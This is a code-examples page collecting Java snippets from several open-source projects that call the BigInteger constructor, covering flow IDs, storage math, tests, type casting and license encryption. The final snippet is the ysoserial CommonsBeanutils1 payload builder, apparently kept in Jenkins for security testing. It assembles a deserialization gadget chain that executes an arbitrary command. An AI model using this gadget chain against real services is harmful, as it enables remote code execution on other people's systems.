Example usage for java.math BigInteger BigInteger

Introduction

In this page you can find the example usage for java.math BigInteger BigInteger.

Prototype

private BigInteger(long val)

Source Link

Document

Constructs a BigInteger with the specified value, which may not be zero.

Usage

From source file:net.onrc.openvirtex.util.OVXFlowManager.java

public Integer storeFlowValues(final byte[] srcMac, final byte[] dstMac) throws IndexOutOfBoundException {
    // TODO: Optimize flow numbers
    final BigInteger dualMac = new BigInteger(ArrayUtils.addAll(srcMac, dstMac));
    Integer flowId = this.flowValues.inverse().get(dualMac);
    if (flowId == null) {
        flowId = this.flowCounter.getNewIndex();
        log.debug("virtual net = {}: save flowId = {} that is associated to {} {}", this.tenantId, flowId,
                MACAddress.valueOf(srcMac).toString(), MACAddress.valueOf(dstMac).toString());
        this.flowValues.put(flowId, dualMac);
    }//from w  w  w  .  j a  v a  2s .  c om
    return flowId;
}

From source file:localSPs.SpiderOakAPI.java

public double getStorageSize() throws IOException {
    BigInteger num = new BigInteger("1024");
    String ans = "";
    BigInteger totalMemory = new BigInteger("32212254720");
    BigInteger used;/*from   w w  w .  jav a 2  s .  c om*/
    File dir = new File(ROOT_PATH);
    long totalUsed = 0; // total bytes

    List<File> files = (List<File>) FileUtils.listFiles(dir, TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE);
    for (File file : files) {
        totalUsed += file.length();
    }
    used = new BigInteger(String.valueOf(totalUsed));
    ans = totalMemory.subtract(used).divide(num).divide(num).toString();//MB
    return (Double.parseDouble(ans));
}

From source file:com.redhat.lightblue.metadata.types.BigIntegerTypeTest.java

@Test
public void testToJson() {
    JsonNodeFactory jsonNodeFactory = new JsonNodeFactory(true);
    JsonNode jsonNode = bigIntegerType.toJson(jsonNodeFactory, BigInteger.ZERO);
    assertTrue(new BigInteger(jsonNode.asText()).equals(BigInteger.ZERO));
}

From source file:me.yanaga.querydsl.args.core.single.SingleBigIntegerArgumentTest.java

@Test
public void testAppendDefaultOneArgument() {
    SingleBigIntegerArgument argument = SingleBigIntegerArgument.of(new BigInteger("123"));
    BooleanBuilder builder = new BooleanBuilder();
    argument.append(builder, QPerson.person.oneBigInteger);
    Person result = new JPAQuery(entityManager).from(QPerson.person).where(builder)
            .uniqueResult(QPerson.person);
    assertThat(result.getOneBigInteger()).isEqualTo(new BigInteger("123"));
}

From source file:edu.wisc.hr.demo.RandomTaxStatementDao.java

@Override
public TaxStatements getTaxStatements(String emplid) {

    if (this.emplIdToTaxStatements.containsKey(emplid)) {
        return this.emplIdToTaxStatements.get(emplid);
    }//  ww  w  .  ja  va  2 s. c  om

    TaxStatements taxStatements = new TaxStatements();

    int howManyTaxStatements = random.nextInt(20);

    for (int i = 0; i < howManyTaxStatements; i++) {

        TaxStatement taxStatement = new TaxStatement();

        taxStatement.setFullTitle("What's a title?");
        taxStatement.setName("What's a name?");

        String randomDocId = Integer.toString(random.nextInt(Integer.MAX_VALUE));
        taxStatement.setDocId(new BigInteger(randomDocId));

        taxStatement.setYear(new BigInteger("2013"));

        taxStatements.getTaxStatements().add(taxStatement);

    }

    this.emplIdToTaxStatements.put(emplid, taxStatements);

    return taxStatements;

}

From source file:io.curly.advisor.model.Review.java

private BigDecimal fixPrecision(BigDecimal rate) {
    if (rate == null)
        return BigDecimal.ZERO;
    BigDecimal decimal = rate.remainder(BigDecimal.ONE);
    BigInteger integer = rate.toBigInteger();
    if (decimal.compareTo(new BigDecimal(0.5)) > 0) {
        return new BigDecimal(integer.add(new BigInteger("1")));
    } else if (decimal.compareTo(new BigDecimal(0.5)) < 0) {
        return new BigDecimal(integer);
    }// www  .ja v  a 2 s. c  om
    return rate;
}

From source file:com.ciphertool.zodiacengine.entities.SolutionChromosomeTest.java

@BeforeClass
public static void setUp() {
    BigInteger cipherId = new BigInteger("12345");
    cipher.setId(cipherId);/*w  ww  . jav a 2s .c om*/

    logMock = mock(Logger.class);

    Field logField = ReflectionUtils.findField(SolutionChromosome.class, "log");
    ReflectionUtils.makeAccessible(logField);
    ReflectionUtils.setField(logField, null, logMock);
}

From source file:com.redhat.lightblue.metadata.types.BigIntegerType.java

@Override
public Object cast(Object obj) {
    BigInteger value = null;//w  w  w  . j  ava2 s . co  m
    if (obj != null) {
        if (obj instanceof BigInteger) {
            value = (BigInteger) obj;
        } else if (obj instanceof Number) {
            value = new BigInteger(Long.toString(((Number) obj).longValue()));
        } else if (obj instanceof Boolean) {
            value = new BigInteger(((Boolean) obj) ? "1" : "0");
        } else if (obj instanceof String) {
            try {
                value = new BigInteger((String) obj);
            } catch (NumberFormatException e) {
                throw Error.get(NAME, MetadataConstants.ERR_INCOMPATIBLE_VALUE, obj.toString());
            }
        } else {
            throw Error.get(NAME, MetadataConstants.ERR_INCOMPATIBLE_VALUE, obj.toString());
        }
    }
    return value;
}

From source file:com.cisco.ca.cstg.pdi.services.license.LicenseCryptoServiceImpl.java

public void encryptToFile() throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException,
        IllegalBlockSizeException, BadPaddingException, IOException {
    BufferedWriter out = null;//from w  w w.  java2  s.  c  o  m
    try {
        byte[] raw = getPassword().getBytes(Charset.forName(Constants.UTF8));
        SecretKeySpec skeySpec = new SecretKeySpec(raw, ALGORITHM_BLOWFISH);
        Cipher cipher = null;
        cipher = Cipher.getInstance(ALGORITHM_BLOWFISH);
        cipher.init(1, skeySpec);
        byte[] output = cipher.doFinal(getMetaData().getBytes());
        BigInteger n = new BigInteger(output);

        String b64hidden = Base64.encodeBase64String(n.toString(16).getBytes());
        setAssessmentKey(b64hidden);

        out = new BufferedWriter(new FileWriter(this.getAssessmentKeyFileName()));
        out.write(b64hidden);
    } finally {
        if (out != null) {
            out.close();
        }
    }
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsBeanutils1.java

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;/*from  ww  w  .j a va  2s  .  com*/
    queueArray[1] = templates;

    return queue;
}